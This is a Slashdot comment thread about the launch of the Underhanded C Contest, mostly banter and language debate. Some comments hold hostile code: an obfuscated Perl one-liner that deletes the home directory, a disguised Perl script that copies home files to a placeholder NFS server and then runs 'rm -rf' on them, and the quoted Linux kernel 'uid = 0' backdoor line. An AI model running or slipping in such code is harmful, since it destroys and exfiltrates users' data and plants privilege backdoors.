The First Annual Underhanded C Contest

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

Comment removed

[account_deleted]

Comment removed based on user account deletion

how's this?

[spongman]

int main () { WinExec ("iexplore.exe"); }

Re:how's this?

[Rei]

That's not very sneaky - it looks downright malicious. At the very least, who would run a program that launches a new fsck every five seconds? Even if the fs was read-only, you'll bring your system to a crawl in no time.

What you really want is something more subtle. For example, here's an easy one using rounding errors in the core of a smoothing algorithm. Assumes a picture of width x height of type "RGB" (assumed to be a typedef'ed struct containing bytes r, g, and b) in a two-dimensional array called

This will work

[The Original Yama]

People will do anything for beer! Who needs speech when you're gulping down a cold lager?

Re:This will work

[isny]

Based on past experience, free beer is usually the first step toward free speech.

Seems a bit like those hacking contests

[bcmm]

If they can do something really malicious with innocent-looking C code, they might want to gain a bit more than beer in the course of revealing how they did it...

Re:Seems a bit like those hacking contests

[numbski]

This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'

Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

I mean I could do something like this:

# When do you want it done?
$today="sudo";
$yesterday="su -c";

# Define our globals
$superman="ls";
$wonderwoman="rm"
$batm an="cp";
$aquaman="mv";

#define some important flags
$blows="-r";
$maims="-p";
$chunks="-f";
$defeats="-s";

#define some targets
$your_mom="/";
$your_dad="/usr";
$your_ sister="~";
$your_teacher="/bin";
$hell="/dev/nu ll";
$heaven="/dev/random";
$skyhigh="nfs://myse rver/myhome";

#....later, back at Superfriends Headquarters

`$batman $blows $your_sister $skyhigh`;
`$wonderwoman $blows $chunks $on $your_sister`;
`$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
#Would you like to see the rest of the story?
#print "Would you like to hear more? Please type your password to continue!";

The superfriends save the day again.

Re:Seems a bit like those hacking contests

[Frank T. Lofaro Jr.]

I ran it from a test account I created to contain the damage.

It tried to remove the home directory itself!

Couldn't do it and it gave up without damaging any files.

Only severely misconfigured UNIX systems allow deleting one's own home directory, because the directory above your home, which is what you need permission on, you don't have write (you don't have /home writable, right)?

Nice as a proof of concept, but won't work anymore.

Re:Seems a bit like those hacking contests

[surprise_audit]

Might want to reveal it from the safety of another country, preferably one that doesn't allow extradition to the US...

in other words...

[beta-guy]

kill the brain cells that made innocent looking malicous code :P

Re:in other words...

[grammar fascist]

On a more serious note - they should rethink their prize. Not everyone drinks beer, and there are plenty of talented programmers who avoid it completely. In fact, the ones who do probably have more working brain cells to throw at the problem.

Yes, I know that must come as a shock, and most people here probably won't believe me...yet it's true.

(And just to head off the inevitable nutcase looking for a Score:5, Funny: no, replacing the prize with free pr0n isn't going to cut it. :p)

Re:in other words...

[crisco]

Ah, but any other self respecting, non beer drinking programmer will recognize its value as currency among lesser mortals. Even simply passing the prize along to lesser mortals can induce acts of goodwill.

There you programmers go again...

[bennomatic]

...testing the limits of the first ammendment. And all for a beer!

Seriously, though, this is (obviously) a lot like the obfuscated c contest, but it's a cool idea, in that there's an important lesson to learn about evaluating code.

Re:There you programmers go again...

[bennomatic]

No, not seriously. I was just reading an article on the Patriot Act, though, and was thinking about how the masses--the same ones who are willing to accept that using BitTorrent is equivalent to terrorism--might see this sort of endeavor.

Beer

[tehshen]

I'm interested to know how the beer will be transported. In an airtight container smuggled through check-in? Frozen (planes get pretty cold you know)? Or will they just send money for us to buy beer with?

Re:Beer

[spauldo]

They used to use the back section of planes to make ice cream (the cold and vibration from the propeller planes was perfect for it). It was air force tradition for quite some time.

It really just depends on what kind of plane you're talking about. I'm sure there's areas on even modern large-body jets where there's an uninsulated section large enough for a keg.

Beer? Phui!

[devross]

The object is to hide evil functionality that survives visual inspection of the source.

The prize is world domination!

It's a bad idea

[Anonymous Coward]

Count on the likes of Sun, Microsoft, and anyone else selling a non-C language to pounce on this as a marketing opportunity.

C is a superb language. Why besmirch its reputation with a contest to make it seem as untrustworthy as possible?

Re:It's a bad idea

[Catamaran]

C gives you just enough rope to hang yourself.

Java gives you a polished floor on which you can slip and break your neck.

C++ gives you a thermo-nuclear device.

Re:It's a bad idea

[dcam]

You accidently create a dozen instances of yourself and shoot them all in the foot. Providing emergency medical assistance is impossible since you can't tell which are bitwise copies and which are just pointing at others and saying "That's me, over there."

Source [york.ac.uk]

Why assume C-specific tricks?

[argent]

It's unlikely that any techniques that really pass inspection will be C-specific. "Obfuscated coding contest tricks" won't help, because the code has to look benign, and weird comments and variable names and odd spacing won't help.

C is an awful language

[Urusai]

You're just used to it. Problems: difficult to compile, difficult to convert to better languages (thank you preprocessor), encourages obfuscation, some constructs are clearly tacked on and/or poorly implemented (switch), arbitrary nonorthogonality (struct, parens and brace usage, pointer/array declaration), shitty strings. That's just off the top of my head.

You're just not used to it.

[Tyler Durden]

Problems: difficult to compile

A picky compiler is a blessing, not a curse. It's much easier to identify and fix compile errors than run-time errors.

difficult to convert to better languages (thank you preprocessor)

Meaningless troll.

encourages obfuscation

Unless the compiler is literally holding a gun to your head, this is meaningless. In C you have nearly limitless control to write your code the way you feel is clearest. If it came out obfuscated then you have nobody to blame but yourself.

some constructs are clearly tacked on and/or poorly implemented (switch), arbitrary nonorthogonality (struct, parens and brace usage, pointer/array declaration), shitty strings.

Tacked on? If you don't like the way constructs are set up then fine, that's your opinion. But if you read The C Programming Language you can tell that every single construct was scrutinized over for the proper balance of efficiency (why it makes sense to pass array parameters as pointers and structs as copies) and consistency (why data types are declared the way they are. Declaration and use of data is made to match.) Do you honestly believe the creators/first users of C, some of the greatest programmers who ever lived, really said, "Ahhh, fuck it. Let's just throw something together," when designing their own programming tools?

Most people who don't like C are really just saying they don't like low-level programming because that's what it was designed for, and that's what it's perfect for. Too many newbie programmers get used to some modern, flash-in-the-pan, all-things-to-all-people languages and when they are faced with the challenges of low-level languages rashly conclude that it's the language's fault they're having problems.

C is the perfect language for the job it was designed for. The same cannot be said for most more modern languages.

Re:You're just not used to it.

[Tyler Durden]

No flame. There are problems with C, I'll grant that. I don't know if the problem with the pre-processor is that it's too powerful or by convention it is depended on too much. Unfortunately, in some places it requres #defines where a const variable would be better. That and macros for functions where a simple inline keyword would help tremedously. Of course, these have been addresses in C++ and (I think) C99.

I'm not sure about strings. With the really low level stuff like OS development, I can see th

Re:You're just not used to it.

[Dun Malg]

2. Strings. There is *no* excuse for C style strings. Is it really such a problem to create a type that has a length encoded into the start?

Clarity. All the data types in C are intended to be clear. It's only a single step up from assembly, really. C handles strings the same way assembly does: it eats bytes sequentially from an array, and it's up to the programmer to tell the program when it's had enough. Data handling in C is a virtually transparent veneer of abstraction from pointer arithmetic. A string

Re:You're just not used to it.

[syle]

. Strings. There is *no* excuse for C style strings. Is it really such a problem to create a type that has a length encoded into the start?

I think you're confusing C with a high-level language. It doesn't give you lists, associative arrays, or strings because those are high-level data types and C is a low-level language. Your complaints are like saying the biggest problem with a car is you can't drive it on water -- they display a fundamental misunderstanding of the subject.

Re:You're just not used to it.

[csirac]

I think it is very odd you can't believe we're still using C in operating systems. What the other language are we going to use for this task?

Are you really going to want to wait 100s of milliseconds for a garbage collector to run at arbitrary intervals in your carefully word aligned DMA transaction code that needs to run within a matter of microseconds? And how exactly is Python, LISP, or any other interpreted/dynamic runtime compiled language going to be used to write a task scheduler or memory managment system worthy of being used in an OS kernel or embedded MCUs with barely 16KiB RAM?

I think you're quite bitter about having to use C for writing applications, which I can perfectly understand. As for what C is actually MEANT for, it does the job quite well. And yes, the preprocessor issues suck, and it would be nice to have Pascal strings, but there really is no alternative to C that I have seen for low-level programming. It makes computer science purists who think everyone should program in Haskell or LISP feel dirty, but it does the job very well. It sure beats writing directly in ASM.

Re:C is an awful language

[jejones]

Well...

C is good for what it was first used for: writing Unix. At least initially, it was mimimalistic; orthogonality took a back seat to ease of implementation. (See Gabriel's classic essay [jwz.org] for details.)

(It's certainly not flawless. Any language that needs a utility like cdecl to make declarations understandable has problems, and there should've been a Boolean type from the beginning. It would be nice if char (which should be whatever represents a glyph on the target system) weren't conflated with short short int. Basically, if C were in your back yard, it would be declared an "attractive nuisance.")

I think the authors of The Art of Unix Programming wisely recognize that C, like any other tool, should be used only where appropriate. (Sorry if that's tautological, but I can't think of a better way to put it.)

Re:Indeed. This could be a field day for Java and

[bcmm]

RTFA. The idea is to hide the malicious functions so that the source code looks innocent.

Re:Indeed. This could be a field day for Java and

[CyricZ]

And like I said, do it in Java instead. That'll make it a real challenge, since the designers of Java made an effort to make it difficult to write malicious code in the first place. The point isn't that the code will look valid, but rather that it will perform malicious duties, which is something that is a challenge in Java, but easily done in C. Making it look valid is just an additional challenge for both languages.

Re:Indeed. This could be a field day for Java and

[argent]

That'll make it a real challenge, since the designers of Java made an effort to make it difficult to write malicious code in the first place.

Actually, that's not really the case... not for the kind of "malicious code" that they're talking about here. They're not talking about "getting out of the sandbox", they're talking about "hiding information in the output". It's actually a lot easier to hide this kind of "malicious code" in an object-oriented language because you can play games with the namespace.

Re:Indeed. This could be a field day for Java and

[Xcott Craver]

Correct, making it look valid is the main purpose of the contest.

Please check out the contest page: the "evil" behavior is not something java would prevent you from doing. We're not talking about crashing a computer or gaining root access, but performing a data processing task incorrectly. It's entirely problem state.

That being said, I chose C because it does permit more tricks along the lines of stack smashing and type mismatches. The winners of the obfuscated V contest used techniques like this to conceal their evil behavior, so I feel this would give people more freedom to get creative.

Finally, this is not meant to slam C, or open source, or any such like. I can't imagine how anyone can look at this contest and see it as an argument for less openness.

Xcott

Re:Indeed. This could be a field day for Java and

[TheLink]

First thing I thought of was sendmail, bind or any of the other ISC stuff ;).

There are tons of C programs that look valid, but given some prompting can behave in arbitrarily evil ways.

If you want it to automatically behave in an evil way without a "little extra encouragement" then I suppose it would be a bit harder.

Story is just plain bad

[typical]

Everyone knows that it is possible to write malicious code in C. That's just because C gives you the near utmost control over your system, and does not discrminiate based on human emotions like "good", "bad", and "malicious". Perhaps a better idea would have been to try to write malicious code in a language such as Java, which tries to prevent a programmer from writing such code. That would be a real challenge.

Yeah, I just flip the "+good +bad -malicious" flags on javac when I want to trust code. Come on

Re:Story is just plain bad

[schotter]

"The day someone makes a knockoff of Slashdot that's a bit more computer-science oriented and isn't solely aimed at producing the same tired old trolling every day"

Have you seen Technocrat.net [technocrat.net]? Looks to be just starting, but I'm already impressed: slashdot ran an article on a nanotech textiles protest - technocrat ran one on a group of scientists demonstrating a refined iteration of a carbon nanotube CPU. Comments are on-topic too, touch wood.

(Or there's always ars [arstechnica.com] for CS stuff, but they're hardly a /. k

So are you very, very good or very, very bad?

[Anonymous Brave Guy]

This is not a hard task, but it's kind of stupid, on the order of "who can break into the most computers today"

If you sincerely believe this is not a hard task, then you're either very, very good at programming, or really not very good at all.

Most developers aren't very good at writing clear, concise code that actually does what it's supposed to. Writing code of that quality that looks like it does what it's supposed to do, while actually doing something subtly different, sounds like a very difficul

C-style vs Java-style language features

[Anonymous Brave Guy]

Anyone can write malicious code in C, but it takes a real pro with real knowledge to even begin to try that with Java.

I assume you're joking, since Java is as vulnerable to typical attacks like SQL injection just as much as many other languages, with just the same sort of careless slip in a couple of lines by a tired programmer...

If crashing is "malicious behavior"

[frenchgates]

doesn't that make basically all c code underhanded?

Re:If crashing is "malicious behavior"

[geoffspear]

Maybe all C code you write. Some people can actually design their code properly.

Re:If crashing is "malicious behavior"

[gstoddart]

doesn't that make basically all c code underhanded?

Hmmm .... you realize C forms the basis for a great deal of modern operating systems don't you?

There are more lines of non-crashing, non-malicious, well-designed, and well-tested lines of C out there than most other programming languages.

Re:If crashing is "malicious behavior"

[proverbialcow]

doesn't that make basically all c code underhanded?

Nope. Only the code that includes

#include <windows.h>

*ducks*

How will the judges be able to trust this code?

[bcmm]

If the contestants can really hide malicious code, then will the judges get code that does something innocent, something concealed to win the prize, and something else to mess up the judge's files a bit?

Re:How will the judges be able to trust this code?

[thebatlab]

I'm sure they'll run these directly on their home machine with all their important documents :)

The judges will expect that

[MarkByers]

The judges will obviously be expecting programs that try to delete files or modify them, so they will without a doubt create a separate environment to run the malicious programs in. Probably they will restore the machine to a known clean state after every run.

If they didn't do this, you can bet that someone would try to write a program which would detect competitors' programs running and disable them.

I think I might win

[numbware]

#include
main()
{
printf("Hello World");
}

Seemingly harmless, right? Wrong. It's still in devlopment, but think about it. You should have to greet the world before you destroy it. :)

I think this is more appropriate

[btarval]

Almost. All it takes is a one-line change to make this malicious program into what should be the motto of this contest:

main() { printf("Goodbye World!\n"); }

Re:I think I might win

[saskboy]

I was thinking you were including some library with the bad code, and the rest was just a smokescreen.

This year's challenge

[ErichTheWebGuy]

Covert fingerprinting. In other words, hiding information inside an image file. hmm... Any open-source steganography programs to use as a starting point?

Re: This year's challenge

[ErichTheWebGuy]

Any open-source steganography programs

Why, yes! http://sourceforge.net/projects/steghide/ [sourceforge.net]

Re: This year's challenge

[l3v1]

it won't do much good since their [stegano] goal is not to hide their behaviour from visual inspection of the code... Seek further.

Re: This year's challenge

[ErichTheWebGuy]

Of course it would. After learning how the stego program works, your only remaining task is to figure out how to hide it. You no longer have to figure out how to hide the data. Seek further you need not.

Re: This year's challenge

[agraupe]

Seek further you need not.

Well, if you're Yoda, then you can just use the Force to do it.

my submission

[selderrr]

although probblably modded funny, the code below will most often just work ! { printf ("hi, this is your bank. really. Look at the logo at the top. Trust me. I'm your bank. Now enter your VISA number and any personal information you can come up with. Maybe you'll win a pony"); scanf("%s", &visanumberbuffer); // duh... buffer overrun anyone :-) }

Strange

[macemoneta]

This sounds like someone is asking for an DRM/watermarking-type of application, that would survive open source inspection. Hmmm.

like this?

[LiquidCoooled]

#include stuff.h
void main()
{
/* nothing / */ /* to see / * here */
/* whats * / challenging / * about */
/* this */ /* there / is no */ evil /*
screensaver(); * function */ /* here
anyone that thinks there is * / needs */
/* their / * / eyes testing */ ();
}

585

Re:like this?

[Dun Malg]

Nice idea, but it doesn't look innoucuous. It looks like a trick. I think the contest is for code the equivalent of a razor blade in a nice looking apple, rather than a razor blade hidden in a pile of clearly marked rat poison.

Re:I'll take the bait

[Dwonis]

Finally, AFAICR C doesn't support the implicit return at the end of main that C++ does, so there's a missing return statement. (I may be wrong about the third one if it was fixed in C99; I don't have a copy of the revised standard handy.)

You are correct. This is from ISO/IEC 9899:1999(E):

5.1.2.2.3 Program termination 1 If the return type of the main function is a type compatible with int, a return from the initial call to the main function is equivalent to calling the exit function with the valu

Attack the Compiler

[LionKimbro]

Why attack the source code when you can instead attack the compiler? [acm.org]

You need only attack the compiler, or the linker, or the interpreter.

Re:Attack the Compiler

[lawpoop]

But would such an attack survive a 3rd party human audit of the source code?

Re:Attack the Compiler

[derek_farn]

For all you could possibly want to know about C, and more, check out this book [coding-guidelines.com] (8M pdf). Those who want pure, uncommentaried, standard words can find them here [coding-guidelines.com].

Re:Attack the Compiler

[LionKimbro]

Yes, quite right.

I guess the thing is: What we're really concerned about here, (if I may project a little,) is voting software.

In those cases, they're probably not going to say, "download the compiler from a random site on the net." In fact, it's probably going to be very hard to control the people who compile the software, and even harder to control the people who compile the compiler. At some point, somebody's going to get the compiler, and they're going to get it from some specified place.

If it's a se

Here you go

[titzandkunt]

Just tuck it away in a commonly used header file, use touch to restore the last date/time of modification, and you're all set.

#define void int

Hours & hours of irritation & confusion!

T&K.

Diebold

[jay95]

I nominate Diebold!
Now if only we can get them to enter their code in the contest...

Re:Diebold

[ceejayoz]

Pfft.

It's supposed to survive inspection, remember. giveElectionToTheRepublican() is underhanded, but it probably won't survive inspection. ;-)

Why?

[simulacrum25]

Hacking was never about malicious behaviour, it was about learning and understanding. Granted, much of what one learned could be applied in malicious ways, but that wasn't the goal. Coding contests whether they be geared towards obfuscation or speed are still learning endeavors.

Who is behind this and what is their motivations? What will they do with the ideas submitted in this contest? In a day of professional computer hackers, this is not a contest to have.

Re:Why?

[Nf1nk]

To find subtley malicous code in an open source project, we first must know what it looks like. Having contests like these creates a sample base of dangerous code and clever tricks to read and learn from.
It is sort of like the computer version of a bomb squad.

Re:Why?

[Frank T. Lofaro Jr.]

Remember the recent Linux contamination

Something like:

if (blah || blah || uid=0) {
blah;
} ...

Re:Why?

[KidSock]

To find subtley malicous code in an open source project, we first must know what it looks like. Having contests like these creates a sample base of dangerous code and clever tricks to read and learn from.

OR

Having contests like these creates a sample base of dangerous code and clever tricks that evil doers can use to craft subtley malicous code in open source projects.

Re:Why?

[IainHere]

simulacrum25 said,

Who is behind this and what is their motivations? What will they do with the ideas submitted in this contest? In a day of professional computer hackers, this is not a contest to have.

Dicionary.com describes simulacrum [reference.com] as,

1. An image; a representation.
2. An insubstantial, superficial, or vague likeness or semblance.

So, Mr Simulacrum25 (if that is indeed your real name!), care to tell us why you're so scared of other people looking in to ways of secretly concealing informatio

Re:Why?

[Xcott Craver]

Who is behind this and what is their motivations?

Is Google down? Okay, I updated the faq to tell you who we are.

Also, we never said anything about hackers. Nowhere have we associated hacking with malicious behavior. And I sincerly hope this will be a learning experience for all involved. I, in particular, will probably learn a thing or two about running next year's contest.

Xcott

Here's my entry:

[stinky wizzleteats]

title Windows
root (hd0,0)
chainloader +1

Now where's my beer?

Diebold Hiring the winner!

[tvlinux]

Help Wanted:
Diebold needs new programmers. If you have what it takes to hide "winning" code in our election machines. Apply to Diebold Careers [diebold.com]

Cheating?

[Maxwell'sSilverLART]

Am I required to submit original source code, written by me, or can I merely submit the leaked Windows source, and thus be assured of victory?

Would the Windows source code count?

[Sniper_Peabody]

It looks innocent but is about as evil as it gets.

Subtlety

[Dirtside]

The prize is beer.

...but the beer is poisoned!

Re:Subtlety

[cpeikert]

But you also get a free frogurt!

Re:Subtlety

[Dirtside]

The frogurt is also cursed.

Obligatory simpsons paraphrase

[Sentry21]

Programmer: 'Take this source code, but beware! It carries a terrible curse!'
Judge: 'That's bad.'
Programmer: 'But it's optimized for PowerPC!'
Judge: 'That's good!'
Programmer: 'PowerPC is also cursed.'
Judge: 'That's bad.'
Programmer: 'But you get your choice of operating systems!'
Judge: 'That's good!'
Programmer: 'The operating systems run on Intel.' *pause* 'That's bad.'
Judge: 'Can I go now?'

Re:Subtlety

[RPI Geek]

Actually I'm from upstate NY and have had a chance to try Ommegang beers; of the three that I've tried, all are excellent.

I've tried their Rare Vos, Hennepin, and self-named Ommegang beer: my favorite is the Rare Vos but I like them all.

Obscurifacation

[MrIcee]

Once, many moons ago, we wrote an obscurifaction program that removed all documentation and modified all variables and function names to be random combinations of I's, O's, o's, 0's. and 1's (plus is created rather long names of fairly equal length). It also combined lines to make them all very long.

Especially useful on large programs it pretty much made the source totally unreadable, and a complete headache to try to unravel even if you countered with a similar program - because all meaning in the origin

An example from years ago

[exp(pi*sqrt(163))]

There was a bug in the Watcom compiler for DOS many years ago. As a bug report I sent them a piece of code something like:

char *s = "Fortune coookie";
int *p = (char *)s;
for (i = 0; i<4; ++i) {
putchar(((char *)p)[i]);
}

Looks innocent enough. But actually it actually printed an obscenity. There was a bug in the pointer addition code generated by the compiler so that even though (char *)p was a pointer to type char it still used sizeof(int) to index into the array and so it printed every 4th character. (And that explains why I used three o's.)

Re:An example from years ago

[exp(pi*sqrt(163))]

It was for DOS4GW but I think you're being pedantic.

Some dude from Microsoft is gonna win...

[swillden]

He'll submit the source code to IE.

When will we see this pop up in the real world?

[creative_Righter]

Every year, we will propose a challenge to coders to solve a simple data processing problem, but with covert malicious behavior. Examples include miscounting votes, shaving money from financial transactions, or leaking information to an eavesdropper. The main goal, however, is to write source code that easily passes visual inspection by other programmers.

Oh dear, now we're rewarding people for writing actual malicious code that is designed to pass visual inspection from other programmers.

When these s

The prize is beer

[frovingslosh]

The prize is beer.

Well, nothing could go wrong here, since we all know that all C programmers are over 21. And if by any chance the winner wasn't over 21 they would make that clear and refuse their prize.

The next day the headlines read" " C Programmers Give Minors Beer, Drunken Night of Celebration Kills 6 in Traffic Acciident ". Reactionary congressmen urged on by a powerful lobby from Washington State quickly pass laws to outlaw all C programming outside of Microsoft.

here's my entry

[thdexter]

#include <notavirus.h>
#include <seriouslyitisnt.h>

So long as they don't check notavirus.h I think I'm in the clear for visual inspection.

easy

[RailGunner]

The Windows Auto Blue screen... (yes, even XP still blows up on this):

int main (){
for (int i = 0; i < 100000; i++)
printf ("\t\t\b\b\b\b\b");
}

Service Pack fixes it, but it's documented

[edalytical]

http://support.microsoft.com/?kbid=311486 [microsoft.com]

Linux Kernel Backdoor Attempt

[Johnny Hardcore]

This reminds me about the attempt at inserting a backdoor [slashdot.org] in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)

The attempt was trying to insert

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).

So The Hard Part Is To

[Master of Transhuman]

"write clear, readable, innocent-looking C code", right?

Wow, nobody's going to win this one.

Vectors

[headkase]

Any program that was able to do two things would pass: The ability to load remote information into memory and to begin execution of the loaded information.
A way to automatically find this would be to use an execution tracer that would alert you when the programs point of execution "left" it's source code or allowed system api's.

Volunteer to help out!

[real gumby]

Clearly most of us should be submitting innocuous code to help camouflage the actual malign entries. That will make it harder for the judges to find badness. If you know that all the entries have some badness, then you'll look really hard. If you don't know which ones do, your checking gets worse.

This would make the test more like the real world too.

Re:What are the legal ramifications of this?

[Anonymous Coward]

Pussy.

Re:What are the legal ramifications of this?

[spellraiser]

RTFA, please.

The challenge for the first UCC is to write a simple program that performs some basic image-processing operation, for example smoothing or resampling, but manages to conceal a unique imperceptible fingerprint in each image it opens.

The fingerprint should be different for every execution of the program. It doesn't have to have any particular meaning, but useful tracking information is worth extra points (tho getting caught is worth fewer points.) The print should be extractable from the o

Re:What are the legal ramifications of this?

[Cryptacool]

What?

Are you serious? Entrapment is an undercover cop asking you if you want to buy drugs, then when you say no, he tries to persuade you and suceeds, possibly becuase you just want him to go away.

It's really not that easy for something to qualify as entrapment, also consider that writing malicious code isnt illegal, it's free speech and no different then writing a book that urges people to do something malicious, not at all illegal.

But no please, keep thinking everything is illegal and dont bother doing

Re:What are the legal ramifications of this?

[anthony_dipierro]

The authorities start a contest such as this, an unsuspecting programmer submits a malicious program, and he or she is arrested and charged with a variety of computer crimes.

What computer crimes would be broken?

Frankly, I won't participate in this contest considering the current legal state of America.

No, you won't participate because of yor current state of paranoia over the legal state of America.

Re:What are the legal ramifications of this?

[bighoov]

Can you even breathe in that tinfoil cocoon?

Re:SxE anyone???

[Hatta]

The prize is beer.

What if someone in the straight edge crowed wins?

They can give the beer to me.

Re:SxE anyone???

[argent]

Then the prize is near-beer.

Re:Possibly obfuscated intentions

[DickBreath]

...suspicious of the fact thet their first 'posted challenge' is also something that has commercial value, especially in the realm of DRM?

It also means that an army of coders have considered and may recognize numerous different approaches to hiding this kind of watermarking.